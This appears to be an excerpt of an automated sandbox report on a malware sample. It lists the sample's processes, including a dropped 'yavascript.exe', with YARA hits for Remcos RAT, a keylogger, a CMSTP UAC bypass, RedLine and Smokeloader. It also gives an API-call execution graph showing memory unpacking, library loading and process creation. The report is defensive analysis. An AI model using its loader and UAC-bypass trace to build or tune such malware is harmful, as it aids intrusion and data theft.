                                                  • Rule: JoeSecurity_UACBypassusingCMSTP, Description: Yara detected UAC Bypass using CMSTP, Source: 00000000.00000002.2432182180.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security
                                                  • Rule: Windows_Trojan_Remcos_b296e965, Description: unknown, Source: 00000000.00000002.2432182180.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Author: unknown
                                                  • Rule: REMCOS_RAT_variants, Description: unknown, Source: 00000000.00000002.2432182180.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Author: unknown
                                                  • Rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM, Description: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003), Source: 00000000.00000002.2432182180.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Author: ditekSHen
                                                  • Rule: JoeSecurity_Keylogger_Generic, Description: Yara detected Keylogger Generic, Source: 00000000.00000003.2083308143.00000000025A0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
                                                  • Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 00000000.00000003.2083308143.00000000025A0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
                                                  • Rule: JoeSecurity_UACBypassusingCMSTP, Description: Yara detected UAC Bypass using CMSTP, Source: 00000000.00000003.2083308143.00000000025A0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
                                                  • Rule: Windows_Trojan_Remcos_b296e965, Description: unknown, Source: 00000000.00000003.2083308143.00000000025A0000.00000004.00001000.00020000.00000000.sdmp, Author: unknown
                                                  • Rule: REMCOS_RAT_variants, Description: unknown, Source: 00000000.00000003.2083308143.00000000025A0000.00000004.00001000.00020000.00000000.sdmp, Author: unknown
                                                  • Rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM, Description: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003), Source: 00000000.00000003.2083308143.00000000025A0000.00000004.00001000.00020000.00000000.sdmp, Author: ditekSHen
                                                  • Rule: JoeSecurity_Keylogger_Generic, Description: Yara detected Keylogger Generic, Source: 00000000.00000002.2432793531.00000000024D0000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security
                                                  • Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 00000000.00000002.2432793531.00000000024D0000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security
                                                  • Rule: JoeSecurity_UACBypassusingCMSTP, Description: Yara detected UAC Bypass using CMSTP, Source: 00000000.00000002.2432793531.00000000024D0000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security
                                                  • Rule: Windows_Trojan_Remcos_b296e965, Description: unknown, Source: 00000000.00000002.2432793531.00000000024D0000.00000040.00001000.00020000.00000000.sdmp, Author: unknown
                                                  • Rule: Windows_Trojan_Smokeloader_3687686f, Description: unknown, Source: 00000000.00000002.2432793531.00000000024D0000.00000040.00001000.00020000.00000000.sdmp, Author: unknown
                                                  Reputation:low
                                                  Has exited:true

                                                  General

                                                  Target ID:4
                                                  Start time:07:38:04
                                                  Start date:14/12/2024
                                                  Path:C:\Windows\SysWOW64\WerFault.exe
                                                  Wow64 process (32bit):true
                                                  Commandline:C:\Windows\SysWOW64\WerFault.exe -u -p 7268 -s 924
                                                  Imagebase:0xb30000
                                                  File size:483'680 bytes
                                                  MD5 hash:C31336C1EFC2CCB44B4326EA793040F2
                                                  Has elevated privileges:true
                                                  Has administrator privileges:true
                                                  Programmed in:C, C++ or other language
                                                  Reputation:high
                                                  Has exited:true

                                                  General

                                                  Target ID:6
                                                  Start time:07:38:05
                                                  Start date:14/12/2024
                                                  Path:C:\Windows\SysWOW64\WerFault.exe
                                                  Wow64 process (32bit):true
                                                  Commandline:C:\Windows\SysWOW64\WerFault.exe -u -p 7268 -s 1080
                                                  Imagebase:0xb30000
                                                  File size:483'680 bytes
                                                  MD5 hash:C31336C1EFC2CCB44B4326EA793040F2
                                                  Has elevated privileges:true
                                                  Has administrator privileges:true
                                                  Programmed in:C, C++ or other language
                                                  Reputation:high
                                                  Has exited:true

                                                  General

                                                  Target ID:8
                                                  Start time:07:38:06
                                                  Start date:14/12/2024
                                                  Path:C:\Windows\SysWOW64\WerFault.exe
                                                  Wow64 process (32bit):true
                                                  Commandline:C:\Windows\SysWOW64\WerFault.exe -u -p 7268 -s 1084
                                                  Imagebase:0xb30000
                                                  File size:483'680 bytes
                                                  MD5 hash:C31336C1EFC2CCB44B4326EA793040F2
                                                  Has elevated privileges:true
                                                  Has administrator privileges:true
                                                  Programmed in:C, C++ or other language
                                                  Reputation:high
                                                  Has exited:true

                                                  General

                                                  Target ID:10
                                                  Start time:07:38:06
                                                  Start date:14/12/2024
                                                  Path:C:\Windows\SysWOW64\WerFault.exe
                                                  Wow64 process (32bit):true
                                                  Commandline:C:\Windows\SysWOW64\WerFault.exe -u -p 7268 -s 1104
                                                  Imagebase:0xb30000
                                                  File size:483'680 bytes
                                                  MD5 hash:C31336C1EFC2CCB44B4326EA793040F2
                                                  Has elevated privileges:true
                                                  Has administrator privileges:true
                                                  Programmed in:C, C++ or other language
                                                  Reputation:high
                                                  Has exited:true

                                                  General

                                                  Target ID:12
                                                  Start time:07:38:08
                                                  Start date:14/12/2024
                                                  Path:C:\Windows\SysWOW64\WerFault.exe
                                                  Wow64 process (32bit):true
                                                  Commandline:C:\Windows\SysWOW64\WerFault.exe -u -p 7268 -s 1144
                                                  Imagebase:0xb30000
                                                  File size:483'680 bytes
                                                  MD5 hash:C31336C1EFC2CCB44B4326EA793040F2
                                                  Has elevated privileges:true
                                                  Has administrator privileges:true
                                                  Programmed in:C, C++ or other language
                                                  Reputation:high
                                                  Has exited:true

                                                  General

                                                  Target ID:14
                                                  Start time:07:38:08
                                                  Start date:14/12/2024
                                                  Path:C:\Windows\SysWOW64\WerFault.exe
                                                  Wow64 process (32bit):true
                                                  Commandline:C:\Windows\SysWOW64\WerFault.exe -u -p 7268 -s 1152
                                                  Imagebase:0xb30000
                                                  File size:483'680 bytes
                                                  MD5 hash:C31336C1EFC2CCB44B4326EA793040F2
                                                  Has elevated privileges:true
                                                  Has administrator privileges:true
                                                  Programmed in:C, C++ or other language
                                                  Reputation:high
                                                  Has exited:true

                                                  General

                                                  Target ID:15
                                                  Start time:07:38:09
                                                  Start date:14/12/2024
                                                  Path:C:\Users\user\AppData\Roaming\xenor\yavascript.exe
                                                  Wow64 process (32bit):true
                                                  Commandline:"C:\Users\user\AppData\Roaming\xenor\yavascript.exe"
                                                  Imagebase:0x400000
                                                  File size:485'888 bytes
                                                  MD5 hash:36C9BB380D71F7AD243B57C522FC2768
                                                  Has elevated privileges:true
                                                  Has administrator privileges:true
                                                  Programmed in:C, C++ or other language
                                                  Yara matches:
                                                  • Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 0000000F.00000002.4542305582.0000000000AFD000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                  • Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 0000000F.00000002.4542269098.0000000000AB8000.00000040.00000020.00020000.00000000.sdmp, Author: unknown
                                                  • Rule: JoeSecurity_Keylogger_Generic, Description: Yara detected Keylogger Generic, Source: 0000000F.00000002.4542513379.00000000024F0000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security
                                                  • Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 0000000F.00000002.4542513379.00000000024F0000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security
                                                  • Rule: JoeSecurity_UACBypassusingCMSTP, Description: Yara detected UAC Bypass using CMSTP, Source: 0000000F.00000002.4542513379.00000000024F0000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security
                                                  • Rule: Windows_Trojan_Remcos_b296e965, Description: unknown, Source: 0000000F.00000002.4542513379.00000000024F0000.00000040.00001000.00020000.00000000.sdmp, Author: unknown
                                                  • Rule: Windows_Trojan_Smokeloader_3687686f, Description: unknown, Source: 0000000F.00000002.4542513379.00000000024F0000.00000040.00001000.00020000.00000000.sdmp, Author: unknown
                                                  • Rule: JoeSecurity_Keylogger_Generic, Description: Yara detected Keylogger Generic, Source: 0000000F.00000002.4541869056.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Author: Joe Security
                                                  • Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 0000000F.00000002.4541869056.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Author: Joe Security
                                                  • Rule: JoeSecurity_UACBypassusingCMSTP, Description: Yara detected UAC Bypass using CMSTP, Source: 0000000F.00000002.4541869056.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Author: Joe Security
                                                  • Rule: Windows_Trojan_Remcos_b296e965, Description: unknown, Source: 0000000F.00000002.4541869056.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Author: unknown
                                                  • Rule: REMCOS_RAT_variants, Description: unknown, Source: 0000000F.00000002.4541869056.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Author: unknown
                                                  • Rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM, Description: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003), Source: 0000000F.00000002.4541869056.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Author: ditekSHen
                                                  • Rule: JoeSecurity_Keylogger_Generic, Description: Yara detected Keylogger Generic, Source: 0000000F.00000003.2162840735.0000000002570000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
                                                  • Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 0000000F.00000003.2162840735.0000000002570000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
                                                  • Rule: JoeSecurity_UACBypassusingCMSTP, Description: Yara detected UAC Bypass using CMSTP, Source: 0000000F.00000003.2162840735.0000000002570000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
                                                  • Rule: Windows_Trojan_Remcos_b296e965, Description: unknown, Source: 0000000F.00000003.2162840735.0000000002570000.00000004.00001000.00020000.00000000.sdmp, Author: unknown
                                                  • Rule: REMCOS_RAT_variants, Description: unknown, Source: 0000000F.00000003.2162840735.0000000002570000.00000004.00001000.00020000.00000000.sdmp, Author: unknown
                                                  • Rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM, Description: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003), Source: 0000000F.00000003.2162840735.0000000002570000.00000004.00001000.00020000.00000000.sdmp, Author: ditekSHen
                                                  Antivirus matches:
                                                  • Detection: 55%, ReversingLabs
                                                  • Detection: 51%, Virustotal, Browse
                                                  Reputation:low
                                                  Has exited:false

                                                  General

                                                  Target ID:17
                                                  Start time:07:38:09
                                                  Start date:14/12/2024
                                                  Path:C:\Windows\SysWOW64\WerFault.exe
                                                  Wow64 process (32bit):true
                                                  Commandline:C:\Windows\SysWOW64\WerFault.exe -u -p 7268 -s 1308
                                                  Imagebase:0xb30000
                                                  File size:483'680 bytes
                                                  MD5 hash:C31336C1EFC2CCB44B4326EA793040F2
                                                  Has elevated privileges:true
                                                  Has administrator privileges:true
                                                  Programmed in:C, C++ or other language
                                                  Reputation:high
                                                  Has exited:true

                                                  General

                                                  Target ID:20
                                                  Start time:07:38:11
                                                  Start date:14/12/2024
                                                  Path:C:\Windows\SysWOW64\WerFault.exe
                                                  Wow64 process (32bit):true
                                                  Commandline:C:\Windows\SysWOW64\WerFault.exe -u -p 7780 -s 632
                                                  Imagebase:0xb30000
                                                  File size:483'680 bytes
                                                  MD5 hash:C31336C1EFC2CCB44B4326EA793040F2
                                                  Has elevated privileges:true
                                                  Has administrator privileges:true
                                                  Programmed in:C, C++ or other language
                                                  Reputation:high
                                                  Has exited:true

                                                  General

                                                  Target ID:22
                                                  Start time:07:38:12
                                                  Start date:14/12/2024
                                                  Path:C:\Windows\SysWOW64\WerFault.exe
                                                  Wow64 process (32bit):true
                                                  Commandline:C:\Windows\SysWOW64\WerFault.exe -u -p 7780 -s 652
                                                  Imagebase:0xb30000
                                                  File size:483'680 bytes
                                                  MD5 hash:C31336C1EFC2CCB44B4326EA793040F2
                                                  Has elevated privileges:true
                                                  Has administrator privileges:true
                                                  Programmed in:C, C++ or other language
                                                  Reputation:high
                                                  Has exited:true

                                                  General

                                                  Target ID:24
                                                  Start time:07:38:14
                                                  Start date:14/12/2024
                                                  Path:C:\Windows\SysWOW64\WerFault.exe
                                                  Wow64 process (32bit):true
                                                  Commandline:C:\Windows\SysWOW64\WerFault.exe -u -p 7780 -s 720
                                                  Imagebase:0xb30000
                                                  File size:483'680 bytes
                                                  MD5 hash:C31336C1EFC2CCB44B4326EA793040F2
                                                  Has elevated privileges:true
                                                  Has administrator privileges:true
                                                  Programmed in:C, C++ or other language
                                                  Reputation:high
                                                  Has exited:true

                                                  General

                                                  Target ID:25
                                                  Start time:07:38:15
                                                  Start date:14/12/2024
                                                  Path:C:\Users\user\AppData\Roaming\xenor\yavascript.exe
                                                  Wow64 process (32bit):true
                                                  Commandline:"C:\Users\user\AppData\Roaming\xenor\yavascript.exe"
                                                  Imagebase:0x400000
                                                  File size:485'888 bytes
                                                  MD5 hash:36C9BB380D71F7AD243B57C522FC2768
                                                  Has elevated privileges:false
                                                  Has administrator privileges:false
                                                  Programmed in:C, C++ or other language
                                                  Yara matches:
                                                  • Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 00000019.00000002.2407775443.0000000000B40000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                  • Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000019.00000002.2407748193.0000000000AFC000.00000040.00000020.00020000.00000000.sdmp, Author: unknown
                                                  • Rule: JoeSecurity_Keylogger_Generic, Description: Yara detected Keylogger Generic, Source: 00000019.00000002.2407819999.00000000024E0000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security
                                                  • Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 00000019.00000002.2407819999.00000000024E0000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security
                                                  • Rule: JoeSecurity_UACBypassusingCMSTP, Description: Yara detected UAC Bypass using CMSTP, Source: 00000019.00000002.2407819999.00000000024E0000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security
                                                  • Rule: Windows_Trojan_Remcos_b296e965, Description: unknown, Source: 00000019.00000002.2407819999.00000000024E0000.00000040.00001000.00020000.00000000.sdmp, Author: unknown
                                                  • Rule: Windows_Trojan_Smokeloader_3687686f, Description: unknown, Source: 00000019.00000002.2407819999.00000000024E0000.00000040.00001000.00020000.00000000.sdmp, Author: unknown
                                                  • Rule: JoeSecurity_Keylogger_Generic, Description: Yara detected Keylogger Generic, Source: 00000019.00000003.2221778129.0000000002560000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
                                                  • Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 00000019.00000003.2221778129.0000000002560000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
                                                  • Rule: JoeSecurity_UACBypassusingCMSTP, Description: Yara detected UAC Bypass using CMSTP, Source: 00000019.00000003.2221778129.0000000002560000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
                                                  • Rule: Windows_Trojan_Remcos_b296e965, Description: unknown, Source: 00000019.00000003.2221778129.0000000002560000.00000004.00001000.00020000.00000000.sdmp, Author: unknown
                                                  • Rule: REMCOS_RAT_variants, Description: unknown, Source: 00000019.00000003.2221778129.0000000002560000.00000004.00001000.00020000.00000000.sdmp, Author: unknown
                                                  • Rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM, Description: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003), Source: 00000019.00000003.2221778129.0000000002560000.00000004.00001000.00020000.00000000.sdmp, Author: ditekSHen
                                                  • Rule: JoeSecurity_Keylogger_Generic, Description: Yara detected Keylogger Generic, Source: 00000019.00000002.2407471164.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Author: Joe Security
                                                  • Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 00000019.00000002.2407471164.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Author: Joe Security
                                                  • Rule: JoeSecurity_UACBypassusingCMSTP, Description: Yara detected UAC Bypass using CMSTP, Source: 00000019.00000002.2407471164.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Author: Joe Security
                                                  • Rule: Windows_Trojan_Remcos_b296e965, Description: unknown, Source: 00000019.00000002.2407471164.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Author: unknown
                                                  • Rule: REMCOS_RAT_variants, Description: unknown, Source: 00000019.00000002.2407471164.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Author: unknown
                                                  • Rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM, Description: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003), Source: 00000019.00000002.2407471164.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Author: ditekSHen
                                                  Has exited:true

                                                  General

                                                  Target ID:27
                                                  Start time:07:38:15
                                                  Start date:14/12/2024
                                                  Path:C:\Windows\SysWOW64\WerFault.exe
                                                  Wow64 process (32bit):true
                                                  Commandline:C:\Windows\SysWOW64\WerFault.exe -u -p 7780 -s 724
                                                  Imagebase:0xb30000
                                                  File size:483'680 bytes
                                                  MD5 hash:C31336C1EFC2CCB44B4326EA793040F2
                                                  Has elevated privileges:true
                                                  Has administrator privileges:true
                                                  Programmed in:C, C++ or other language
                                                  Has exited:true

                                                  General

                                                  Target ID:29
                                                  Start time:07:38:16
                                                  Start date:14/12/2024
                                                  Path:C:\Windows\SysWOW64\WerFault.exe
                                                  Wow64 process (32bit):true
                                                  Commandline:C:\Windows\SysWOW64\WerFault.exe -u -p 7780 -s 720
                                                  Imagebase:0xb30000
                                                  File size:483'680 bytes
                                                  MD5 hash:C31336C1EFC2CCB44B4326EA793040F2
                                                  Has elevated privileges:true
                                                  Has administrator privileges:true
                                                  Programmed in:C, C++ or other language
                                                  Has exited:true

                                                  General

                                                  Target ID:31
                                                  Start time:07:38:17
                                                  Start date:14/12/2024
                                                  Path:C:\Windows\SysWOW64\WerFault.exe
                                                  Wow64 process (32bit):true
                                                  Commandline:C:\Windows\SysWOW64\WerFault.exe -u -p 7780 -s 916
                                                  Imagebase:0xb30000
                                                  File size:483'680 bytes
                                                  MD5 hash:C31336C1EFC2CCB44B4326EA793040F2
                                                  Has elevated privileges:true
                                                  Has administrator privileges:true
                                                  Programmed in:C, C++ or other language
                                                  Has exited:true

                                                  General

                                                  Target ID:33
                                                  Start time:07:38:17
                                                  Start date:14/12/2024
                                                  Path:C:\Windows\SysWOW64\WerFault.exe
                                                  Wow64 process (32bit):true
                                                  Commandline:C:\Windows\SysWOW64\WerFault.exe -u -p 8172 -s 532
                                                  Imagebase:0xb30000
                                                  File size:483'680 bytes
                                                  MD5 hash:C31336C1EFC2CCB44B4326EA793040F2
                                                  Has elevated privileges:false
                                                  Has administrator privileges:false
                                                  Programmed in:C, C++ or other language
                                                  Has exited:true

                                                  General

                                                  Target ID:36
                                                  Start time:07:38:18
                                                  Start date:14/12/2024
                                                  Path:C:\Windows\SysWOW64\WerFault.exe
                                                  Wow64 process (32bit):true
                                                  Commandline:C:\Windows\SysWOW64\WerFault.exe -u -p 7780 -s 928
                                                  Imagebase:0xb30000
                                                  File size:483'680 bytes
                                                  MD5 hash:C31336C1EFC2CCB44B4326EA793040F2
                                                  Has elevated privileges:true
                                                  Has administrator privileges:true
                                                  Programmed in:C, C++ or other language
                                                  Has exited:true

                                                  General

                                                  Target ID:38
                                                  Start time:07:38:19
                                                  Start date:14/12/2024
                                                  Path:C:\Windows\SysWOW64\WerFault.exe
                                                  Wow64 process (32bit):true
                                                  Commandline:C:\Windows\SysWOW64\WerFault.exe -u -p 7780 -s 968
                                                  Imagebase:0xb30000
                                                  File size:483'680 bytes
                                                  MD5 hash:C31336C1EFC2CCB44B4326EA793040F2
                                                  Has elevated privileges:true
                                                  Has administrator privileges:true
                                                  Programmed in:C, C++ or other language
                                                  Has exited:true

                                                  Disassembly

                                                  Reset < >

                                                    Execution Graph

                                                    Execution Coverage:1.2%
                                                    Dynamic/Decrypted Code Coverage:4%
                                                    Signature Coverage:32.8%
                                                    Total number of Nodes:699
                                                    Total number of Limit Nodes:23
                                                    execution_graph 87966 24d003c 87967 24d0049 87966->87967 87981 24d0e0f SetErrorMode SetErrorMode 87967->87981 87972 24d0265 87973 24d02ce VirtualProtect 87972->87973 87975 24d030b 87973->87975 87974 24d0439 VirtualFree 87978 24d04be 87974->87978 87980 24d05f4 LoadLibraryA 87974->87980 87975->87974 87976 24d04e3 LoadLibraryA 87976->87978 87978->87976 87978->87980 87979 24d08c7 87980->87979 87982 24d0223 87981->87982 87983 24d0d90 87982->87983 87984 24d0dad 87983->87984 87985 24d0dbb GetPEB 87984->87985 87986 24d0238 VirtualAlloc 87984->87986 87985->87986 87986->87972 87987 a4aafe 87988 a4ab0d 87987->87988 87991 a4b29e 87988->87991 87996 a4b2b9 87991->87996 87992 a4b2c2 CreateToolhelp32Snapshot 87993 a4b2de Module32First 87992->87993 87992->87996 87994 a4b2ed 87993->87994 87997 a4ab16 87993->87997 87998 a4af5d 87994->87998 87996->87992 87996->87993 87999 a4af88 87998->87999 88000 a4af99 VirtualAlloc 87999->88000 88001 a4afd1 87999->88001 88000->88001 88002 43a998 88005 43a9a4 _swprintf ___scrt_is_nonwritable_in_current_image 88002->88005 88003 43a9b2 88018 445354 20 API calls __dosmaperr 88003->88018 88005->88003 88006 43a9dc 88005->88006 88013 444acc RtlEnterCriticalSection 88006->88013 88008 43a9e7 88014 43aa88 88008->88014 88009 43a9b7 __wsopen_s 88013->88008 88016 43aa96 88014->88016 88015 43a9f2 88019 43aa0f RtlLeaveCriticalSection std::_Lockit::~_Lockit 88015->88019 88016->88015 88020 448416 36 API calls 2 library calls 88016->88020 88018->88009 88019->88009 88020->88016 88021 402bcc 88022 402bd7 88021->88022 88023 402bdf 88021->88023 88039 403315 28 API calls _Deallocate 88022->88039 88025 402beb 88023->88025 88029 4015d3 88023->88029 88026 402bdd 88031 43360d 88029->88031 88032 402be9 88031->88032 88035 43362e std::_Facet_Register 88031->88035 88040 43a88c 88031->88040 88047 442200 7 API calls 2 library calls 88031->88047 88034 433dec std::_Facet_Register 88049 437bd7 RaiseException 88034->88049 88035->88034 88048 437bd7 RaiseException 88035->88048 88037 433e09 88039->88026 88045 446aff _strftime 88040->88045 88041 446b3d 88051 445354 20 API calls __dosmaperr 88041->88051 88043 446b28 RtlAllocateHeap 88044 446b3b 88043->88044 88043->88045 88044->88031 88045->88041 88045->88043 88050 442200 7 API calls 2 library calls 88045->88050 88047->88031 88048->88034 88049->88037 88050->88045 88051->88044 88052 4339be 88053 4339ca ___scrt_is_nonwritable_in_current_image 88052->88053 88084 4336b3 88053->88084 88055 4339d1 88056 433b24 88055->88056 88060 4339fb 88055->88060 88375 433b44 IsProcessorFeaturePresent IsDebuggerPresent SetUnhandledExceptionFilter UnhandledExceptionFilter ___scrt_fastfail 88056->88375 88058 433b2b 88376 4426be 28 API calls _abort 88058->88376 88070 433a3a ___scrt_is_nonwritable_in_current_image ___scrt_release_startup_lock 88060->88070 88369 4434d1 5 API calls __ehhandler$?_ScheduleContinuationTask@_Task_impl_base@details@Concurrency@@QAEXPAU_ContinuationTaskHandleBase@23@@Z 88060->88369 88061 433b31 88377 442670 28 API calls _abort 88061->88377 88064 433a14 88066 433a1a 88064->88066 88370 443475 5 API calls __ehhandler$?_ScheduleContinuationTask@_Task_impl_base@details@Concurrency@@QAEXPAU_ContinuationTaskHandleBase@23@@Z 88064->88370 88065 433b39 88074 433a9b 88070->88074 88371 43edf4 35 API calls 4 library calls 88070->88371 88095 433c5e 88074->88095 88078 433abd 88078->88058 88079 433ac1 88078->88079 88080 433aca 88079->88080 88373 442661 28 API calls _abort 88079->88373 88374 433842 13 API calls 2 library calls 88080->88374 88083 433ad2 88083->88066 88085 4336bc 88084->88085 88378 433e0a IsProcessorFeaturePresent 88085->88378 88087 4336c8 88379 4379ee 10 API calls 3 library calls 88087->88379 88089 4336cd 88094 4336d1 88089->88094 88380 44335e IsProcessorFeaturePresent SetUnhandledExceptionFilter UnhandledExceptionFilter GetCurrentProcess TerminateProcess 88089->88380 88091 4336e8 88091->88055 88092 4336da 88092->88091 88381 437a17 8 API calls 3 library calls 88092->88381 88094->88055 88382 436050 88095->88382 88097 433c71 GetStartupInfoW 88098 433aa1 88097->88098 88099 443422 88098->88099 88383 44ddc9 88099->88383 88101 44342b 88103 433aaa 88101->88103 88387 44e0d3 35 API calls 88101->88387 88104 40d767 88103->88104 88389 41bce3 LoadLibraryA GetProcAddress 88104->88389 88106 40d783 GetModuleFileNameW 88394 40e168 88106->88394 88108 40d79f 88409 401fbd 88108->88409 88111 401fbd 28 API calls 88112 40d7bd 88111->88112 88413 41afc3 88112->88413 88116 40d7cf 88438 401d8c 88116->88438 88118 40d7d8 88119 40d835 88118->88119 88120 40d7eb 88118->88120 88444 401d64 88119->88444 88631 40e986 111 API calls 88120->88631 88123 40d845 88126 401d64 22 API calls 88123->88126 88124 40d7fd 88125 401d64 22 API calls 88124->88125 88129 40d809 88125->88129 88127 40d864 88126->88127 88449 404cbf 88127->88449 88632 40e937 65 API calls 88129->88632 88130 40d873 88453 405ce6 88130->88453 88133 40d87f 88456 401eef 88133->88456 88134 40d824 88633 40e155 65 API calls 88134->88633 88137 40d88b 88460 401eea 88137->88460 88139 401eea 11 API calls 88141 40dc9f 88139->88141 88140 40d894 88142 401eea 11 API calls 88140->88142 88372 433c94 GetModuleHandleW 88141->88372 88143 40d89d 88142->88143 88144 401d64 22 API calls 88143->88144 88145 40d8a6 88144->88145 88464 401ebd 88145->88464 88147 40d8b1 88148 401d64 22 API calls 88147->88148 88149 40d8ca 88148->88149 88150 401d64 22 API calls 88149->88150 88152 40d8e5 88150->88152 88151 40d946 88154 401d64 22 API calls 88151->88154 88169 40e134 88151->88169 88152->88151 88634 4085b4 28 API calls 88152->88634 88160 40d95d 88154->88160 88155 40d912 88156 401eef 11 API calls 88155->88156 88157 40d91e 88156->88157 88158 401eea 11 API calls 88157->88158 88161 40d927 88158->88161 88159 40d9a4 88468 40bed7 88159->88468 88160->88159 88164 4124b7 3 API calls 88160->88164 88635 4124b7 RegOpenKeyExA 88161->88635 88163 40d9aa 88165 40d82d 88163->88165 88471 41a463 88163->88471 88170 40d988 88164->88170 88165->88139 88168 40d9c5 88171 40da18 88168->88171 88488 40697b 88168->88488 88669 412902 30 API calls 88169->88669 88170->88159 88638 412902 30 API calls 88170->88638 88173 401d64 22 API calls 88171->88173 88176 40da21 88173->88176 88185 40da32 88176->88185 88186 40da2d 88176->88186 88178 40e14a 88670 4112b5 64 API calls ___scrt_fastfail 88178->88670 88179 40d9e4 88639 40699d 30 API calls 88179->88639 88180 40d9ee 88184 401d64 22 API calls 88180->88184 88193 40d9f7 88184->88193 88190 401d64 22 API calls 88185->88190 88642 4069ba CreateProcessA CloseHandle CloseHandle ___scrt_fastfail 88186->88642 88187 40d9e9 88640 4064d0 97 API calls 88187->88640 88191 40da3b 88190->88191 88492 41ae08 88191->88492 88193->88171 88196 40da13 88193->88196 88194 40da46 88496 401e18 88194->88496 88641 4064d0 97 API calls 88196->88641 88197 40da51 88500 401e13 88197->88500 88200 40da5a 88201 401d64 22 API calls 88200->88201 88202 40da63 88201->88202 88203 401d64 22 API calls 88202->88203 88204 40da7d 88203->88204 88205 401d64 22 API calls 88204->88205 88206 40da97 88205->88206 88207 401d64 22 API calls 88206->88207 88209 40dab0 88207->88209 88208 40db1d 88211 40db2c 88208->88211 88216 40dcaa ___scrt_fastfail 88208->88216 88209->88208 88210 401d64 22 API calls 88209->88210 88214 40dac5 _wcslen 88210->88214 88212 401d64 22 API calls 88211->88212 88218 40dbb1 88211->88218 88213 40db3e 88212->88213 88215 401d64 22 API calls 88213->88215 88214->88208 88219 401d64 22 API calls 88214->88219 88217 40db50 88215->88217 88645 41265d RegOpenKeyExA RegQueryValueExA RegCloseKey 88216->88645 88222 401d64 22 API calls 88217->88222 88240 40dbac ___scrt_fastfail 88218->88240 88220 40dae0 88219->88220 88223 401d64 22 API calls 88220->88223 88224 40db62 88222->88224 88225 40daf5 88223->88225 88228 401d64 22 API calls 88224->88228 88504 40c89e 88225->88504 88226 40dcef 88227 401d64 22 API calls 88226->88227 88229 40dd16 88227->88229 88231 40db8b 88228->88231 88646 401f66 88229->88646 88234 401d64 22 API calls 88231->88234 88233 401e18 11 API calls 88236 40db14 88233->88236 88237 40db9c 88234->88237 88239 401e13 11 API calls 88236->88239 88561 40bc67 88237->88561 88238 40dd25 88650 4126d2 14 API calls 88238->88650 88239->88208 88240->88218 88643 4128a2 31 API calls 88240->88643 88244 40dd3b 88246 401d64 22 API calls 88244->88246 88245 40dc45 ctype 88248 401d64 22 API calls 88245->88248 88247 40dd47 88246->88247 88651 43a5e7 39 API calls _strftime 88247->88651 88251 40dc5c 88248->88251 88250 40dd54 88252 40dd81 88250->88252 88652 41beb0 87 API calls ___scrt_fastfail 88250->88652 88251->88226 88253 401d64 22 API calls 88251->88253 88257 401f66 28 API calls 88252->88257 88255 40dc7e 88253->88255 88258 41ae08 28 API calls 88255->88258 88256 40dd65 CreateThread 88256->88252 88830 41c96f 10 API calls 88256->88830 88259 40dd96 88257->88259 88260 40dc87 88258->88260 88261 401f66 28 API calls 88259->88261 88644 40e219 112 API calls 88260->88644 88263 40dda5 88261->88263 88653 41a686 79 API calls 